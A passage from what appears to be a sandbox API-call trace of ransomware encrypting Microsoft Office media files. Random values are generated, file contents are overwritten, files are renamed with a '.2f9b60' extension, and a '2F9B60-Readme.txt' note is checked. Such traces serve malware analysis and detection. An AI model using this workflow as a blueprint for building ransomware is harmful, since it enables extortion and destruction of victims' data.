dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1660 [0102.724] GetFileSizeEx (in: hFile=0x1660, lpFileSize=0x2c84f6c0 | out: lpFileSize=0x2c84f6c0*=5564) returned 1 [0102.724] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x15b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.725] ReadFile (in: hFile=0x1660, lpBuffer=0x2c84f640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c84f688, lpOverlapped=0x0 | out: lpBuffer=0x2c84f640*, lpNumberOfBytesRead=0x2c84f688*=0x4, lpOverlapped=0x0) returned 1 [0102.738] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b70 [0102.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a90 [0102.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262900 [0102.738] NtQuerySystemTime (in: CurrentTime=0x2c84f580 | out: CurrentTime=0x2c84f580*=132462177082558000) returned 0x0 [0102.738] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x17ef3f5 [0102.738] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x237ad18e [0102.738] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x13e855ec [0102.738] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x55bbdcb9 [0102.738] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x3b443724 [0102.738] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x2776dd36 [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x2d1b950d [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x41c02463 [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x5c2912fc [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x17ef3f5 [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x676a7341 [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x66e9e901 [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x438d9da3 [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x6bda125f [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x6ab96183 [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x66bf1041 [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x6aaab506 [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x3a9c8fb1 [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x2b9d5fc [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x2d037a12 [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x400aea44 [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x7fff4548 [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x5137b8d [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0xb6ebfd8 [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x7c6e1ab3 [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0xbf0ec87 [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x438c753a [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x320cc2de [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x2e1c457a [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x60fde549 [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x109d5104 [0102.739] RtlRandomEx (in: Seed=0x2c84f570 | out: Seed=0x2c84f570) returned 0x54f04d79 [0102.747] ReadFile (in: hFile=0x1660, lpBuffer=0x202c8910, nNumberOfBytesToRead=0x15bc, lpNumberOfBytesRead=0x2c84f570, lpOverlapped=0x0 | out: lpBuffer=0x202c8910*, lpNumberOfBytesRead=0x2c84f570*=0x15bc, lpOverlapped=0x0) returned 1 [0102.789] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.789] WriteFile (in: hFile=0x1660, lpBuffer=0x202b20b0*, nNumberOfBytesToWrite=0x15bc, lpNumberOfBytesWritten=0x2c84f574, lpOverlapped=0x0 | out: lpBuffer=0x202b20b0*, lpNumberOfBytesWritten=0x2c84f574*=0x15bc, lpOverlapped=0x0) returned 1 [0104.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f70 [0104.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e80 [0104.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261e80) returned 1 [0104.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b20b0) returned 1 [0104.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202c8910) returned 1 [0104.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0104.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0104.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20261e80 [0104.651] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.651] WriteFile (in: hFile=0x1660, lpBuffer=0x169c40*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2c84f690, lpOverlapped=0x0 | out: lpBuffer=0x169c40*, lpNumberOfBytesWritten=0x2c84f690*=0x102, lpOverlapped=0x0) returned 1 [0105.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0105.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260500 [0105.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260500) returned 1 [0105.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0105.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260500 [0105.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604d0 [0105.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202604d0) returned 1 [0105.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0105.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x202604d0 [0105.069] sprintf (in: _Dest=0x202604d0, _Format="%c%c" | out: _Dest="c4") returned 2 [0105.069] sprintf (in: _Dest=0x202604d2, _Format="%c%c" | out: _Dest="cd") returned 2 [0105.069] sprintf (in: _Dest=0x202604d4, _Format="%c%c" | out: _Dest="d4") returned 2 [0105.069] sprintf (in: _Dest=0x202604d6, _Format="%c%c" | out: _Dest="ea") returned 2 [0105.069] sprintf (in: _Dest=0x202604d8, _Format="%c%c" | out: _Dest="10") returned 2 [0105.069] sprintf (in: _Dest=0x202604da, _Format="%c%c" | out: _Dest="75") returned 2 [0105.069] sprintf (in: _Dest=0x202604dc, _Format="%c%c" | out: _Dest="99") returned 2 [0105.069] sprintf (in: _Dest=0x202604de, _Format="%c%c" | out: _Dest="1f") returned 2 [0105.069] sprintf (in: _Dest=0x202604e0, _Format="%c%c" | out: _Dest="83") returned 2 [0105.069] sprintf (in: _Dest=0x202604e2, _Format="%c%c" | out: _Dest="16") returned 2 [0105.070] sprintf (in: _Dest=0x202604e4, _Format="%c%c" | out: _Dest="6d") returned 2 [0105.070] sprintf (in: _Dest=0x202604e6, _Format="%c%c" | out: _Dest="e5") returned 2 [0105.070] sprintf (in: _Dest=0x202604e8, _Format="%c%c" | out: _Dest="10") returned 2 [0105.070] sprintf (in: _Dest=0x202604ea, _Format="%c%c" | out: _Dest="a9") returned 2 [0105.070] sprintf (in: _Dest=0x202604ec, _Format="%c%c" | out: _Dest="4b") returned 2 [0105.070] sprintf (in: _Dest=0x202604ee, _Format="%c%c" | out: _Dest="86") returned 2 [0105.070] RtlInitAnsiString (in: DestinationString=0x2c84f708, SourceString="c4cdd4ea1075991f83166de510a94b86" | out: DestinationString="c4cdd4ea1075991f83166de510a94b86") [0105.070] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c84f6d8, SourceString="c4cdd4ea1075991f83166de510a94b86", AllocateDestinationString=1 | out: DestinationString="c4cdd4ea1075991f83166de510a94b86") returned 0x0 [0105.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c210 [0105.070] wcscat (in: _Dest=0x202a4ec0, _Source="c4cdd4ea" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c4cdd4ea") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c4cdd4ea" [0105.070] wcscat (in: _Dest=0x202a4ec0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c4cdd4ea.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c4cdd4ea.2f9b60" [0105.070] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c4cdd4ea.2f9b60", NtPathName=0x2c84f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c4cdd4ea.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x2050d420 [0105.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d420) returned 1 [0105.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecc970) returned 1 [0105.368] NtQueryInformationFile (in: FileHandle=0x1660, IoStatusBlock=0x2c84f718, FileInformation=0x2c84f728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c84f718, FileInformation=0x2c84f728) returned 0x0 [0105.368] NtSetInformationFile (FileHandle=0x1660, IoStatusBlock=0x2c84f718, FileInformation=0x2c84f728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4ec0) returned 1 [0105.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0105.486] FlushFileBuffers (hFile=0x1660) returned 1 [0105.494] CloseHandle (hObject=0x1660) returned 1 [0105.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4bf0 [0105.575] wcscpy (in: _Dest=0x202a4bf0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0105.575] wcscat (in: _Dest=0x202a4bf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" [0105.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\2f9b60-readme.txt")) returned 0x20 [0105.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4bf0) returned 1 [0105.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 Thread: id = 907 os_tid = 0x14d4 [0101.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\drumroll.wav")) returned 0x20 [0102.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", dwFileAttributes=0x20) returned 1 [0102.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\drumroll.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1658 [0102.707] GetFileSizeEx (in: hFile=0x1658, lpFileSize=0x2e34f9a0 | out: lpFileSize=0x2e34f9a0*=19426) returned 1 [0102.707] SetFilePointerEx (in: hFile=0x1658, liDistanceToMove=0x4bde, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.707] ReadFile (in: hFile=0x1658, lpBuffer=0x2e34f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e34f968, lpOverlapped=0x0 | out: lpBuffer=0x2e34f920*, lpNumberOfBytesRead=0x2e34f968*=0x4, lpOverlapped=0x0) returned 1 [0102.713] SetFilePointerEx (in: hFile=0x1658, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0102.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260cb0 [0102.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b70 [0102.713] NtQuerySystemTime (in: CurrentTime=0x2e34f860 | out: CurrentTime=0x2e34f860*=132462177082402000) returned 0x0 [0102.713] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x673f9a81 [0102.713] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x3feab98b [0102.713] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x3a12253c [0102.713] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x29ddf1b7 [0102.713] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x2c7f9045 [0102.713] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x5fe6996c [0102.713] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x10db48c3 [0102.713] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x5fda319e [0102.713] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x3c244b96 [0102.713] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x7ce5f001 [0102.713] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x2269f923 [0102.713] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x7a3fb44f [0102.713] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x51ca9ff [0102.713] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x48633f32 [0102.713] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x39a471f2 [0102.713] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x5094e20b [0102.714] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x7f3b86f2 [0102.714] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x150d23ca [0102.714] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x55a84260 [0102.714] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x2b3463a6 [0102.714] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x1fdd5e45 [0102.714] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x29bc0b09 [0102.714] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x1ae3afb5 [0102.714] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x326975da [0102.714] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x673f9a81 [0102.714] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x58b9a637 [0102.714] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x1defae6c [0102.714] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x2431de44 [0102.714] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x55f7815f [0102.714] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x2e76ef23 [0102.714] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x6bda125f [0102.714] RtlRandomEx (in: Seed=0x2e34f850 | out: Seed=0x2e34f850) returned 0x7be56856 [0102.722] SetFilePointerEx (in: hFile=0x1658, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.722] ReadFile (in: hFile=0x1658, lpBuffer=0x202d7950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2e34f8c0, lpOverlapped=0x0 | out: lpBuffer=0x202d7950*, lpNumberOfBytesRead=0x2e34f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0102.726] SetFilePointerEx (in: hFile=0x1658, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0102.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0102.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0102.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c20) returned 1 [0102.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202cc520 [0102.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0102.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b70 [0102.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262b70) returned 1 [0102.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0102.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0102.727] WriteFile (in: hFile=0x1658, lpBuffer=0x202cc520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2e34f8c0, lpOverlapped=0x0 | out: lpBuffer=0x202cc520*, lpNumberOfBytesWritten=0x2e34f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202cc520) returned 1 [0103.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202d7950) returned 1 [0103.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202607a0 [0103.890] SetFilePointerEx (in: hFile=0x1658, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.890] WriteFile (in: hFile=0x1658, lpBuffer=0x4205aad0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2e34f970, lpOverlapped=0x0 | out: lpBuffer=0x4205aad0*, lpNumberOfBytesWritten=0x2e34f970*=0x10a, lpOverlapped=0x0) returned 1 [0104.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0104.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866bc0 [0104.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d30 [0104.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d30) returned 1 [0104.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0104.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d30 [0104.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859580 [0104.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859580) returned 1 [0104.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866bc0) returned 1 [0104.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0104.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f130 [0104.129] sprintf (in: _Dest=0x1cd9f130, _Format="%c%c" | out: _Dest="c9") returned 2 [0104.129] sprintf (in: _Dest=0x1cd9f132, _Format="%c%c" | out: _Dest="fa") returned 2 [0104.129] sprintf (in: _Dest=0x1cd9f134, _Format="%c%c" | out: _Dest="af") returned 2 [0104.129] sprintf (in: _Dest=0x1cd9f136, _Format="%c%c" | out: _Dest="7b") returned 2 [0104.129] sprintf (in: _Dest=0x1cd9f138, _Format="%c%c" | out: _Dest="2d") returned 2 [0104.129] sprintf (in: _Dest=0x1cd9f13a, _Format="%c%c" | out: _Dest="39") returned 2 [0104.129] sprintf (in: _Dest=0x1cd9f13c, _Format="%c%c" | out: _Dest="4a") returned 2 [0104.129] sprintf (in: _Dest=0x1cd9f13e, _Format="%c%c" | out: _Dest="bb") returned 2 [0104.129] sprintf (in: _Dest=0x1cd9f140, _Format="%c%c" | out: _Dest="75") returned 2 [0104.129] sprintf (in: _Dest=0x1cd9f142, _Format="%c%c" | out: _Dest="5b") returned 2 [0104.129] sprintf (in: _Dest=0x1cd9f144, _Format="%c%c" | out: _Dest="a6") returned 2 [0104.129] sprintf (in: _Dest=0x1cd9f146, _Format="%c%c" | out: _Dest="f0") returned 2 [0104.129] sprintf (in: _Dest=0x1cd9f148, _Format="%c%c" | out: _Dest="a6") returned 2 [0104.129] sprintf (in: _Dest=0x1cd9f14a, _Format="%c%c" | out: _Dest="12") returned 2 [0104.129] sprintf (in: _Dest=0x1cd9f14c, _Format="%c%c" | out: _Dest="0b") returned 2 [0104.129] sprintf (in: _Dest=0x1cd9f14e, _Format="%c%c" | out: _Dest="bf") returned 2 [0104.129] sprintf (in: _Dest=0x1cd9f150, _Format="%c%c" | out: _Dest="7a") returned 2 [0104.130] sprintf (in: _Dest=0x1cd9f152, _Format="%c%c" | out: _Dest="a1") returned 2 [0104.130] sprintf (in: _Dest=0x1cd9f154, _Format="%c%c" | out: _Dest="70") returned 2 [0104.130] sprintf (in: _Dest=0x1cd9f156, _Format="%c%c" | out: _Dest="62") returned 2 [0104.130] sprintf (in: _Dest=0x1cd9f158, _Format="%c%c" | out: _Dest="31") returned 2 [0104.130] sprintf (in: _Dest=0x1cd9f15a, _Format="%c%c" | out: _Dest="9e") returned 2 [0104.130] sprintf (in: _Dest=0x1cd9f15c, _Format="%c%c" | out: _Dest="f5") returned 2 [0104.130] sprintf (in: _Dest=0x1cd9f15e, _Format="%c%c" | out: _Dest="41") returned 2 [0104.130] RtlInitAnsiString (in: DestinationString=0x2e34f9e8, SourceString="c9faaf7b2d394abb755ba6f0a6120bbf7aa17062319ef541" | out: DestinationString="c9faaf7b2d394abb755ba6f0a6120bbf7aa17062319ef541") [0104.130] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e34f9b8, SourceString="c9faaf7b2d394abb755ba6f0a6120bbf7aa17062319ef541", AllocateDestinationString=1 | out: DestinationString="c9faaf7b2d394abb755ba6f0a6120bbf7aa17062319ef541") returned 0x0 [0104.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e640 [0104.130] wcscat (in: _Dest=0x202b1050, _Source="c9faaf7b2d39" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c9faaf7b2d39") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c9faaf7b2d39" [0104.130] wcscat (in: _Dest=0x202b1050, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c9faaf7b2d39.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c9faaf7b2d39.2f9b60" [0104.131] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c9faaf7b2d39.2f9b60", NtPathName=0x2e34f990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c9faaf7b2d39.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x20501ab0 [0104.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501ab0) returned 1 [0104.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecec70) returned 1 [0104.483] NtQueryInformationFile (in: FileHandle=0x1658, IoStatusBlock=0x2e34f9f8, FileInformation=0x2e34fa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e34f9f8, FileInformation=0x2e34fa08) returned 0x0 [0104.483] NtSetInformationFile (FileHandle=0x1658, IoStatusBlock=0x2e34f9f8, FileInformation=0x2e34fa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1050) returned 1 [0104.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e640) returned 1 [0104.487] FlushFileBuffers (hFile=0x1658) returned 1 [0104.610] CloseHandle (hObject=0x1658) returned 1 [0104.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4650 [0104.611] wcscpy (in: _Dest=0x202a4650, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0104.611] wcscat (in: _Dest=0x202a4650, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" [0104.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\2f9b60-readme.txt")) returned 0x20 [0104.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4650) returned 1 [0104.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a46e0) returned 1 Thread: id = 908 os_tid = 0x14d8 [0101.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\EXPLODE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\explode.wav")) returned 0x20 [0102.634] SetFileAttributesW (lpFileName="C:\\Program 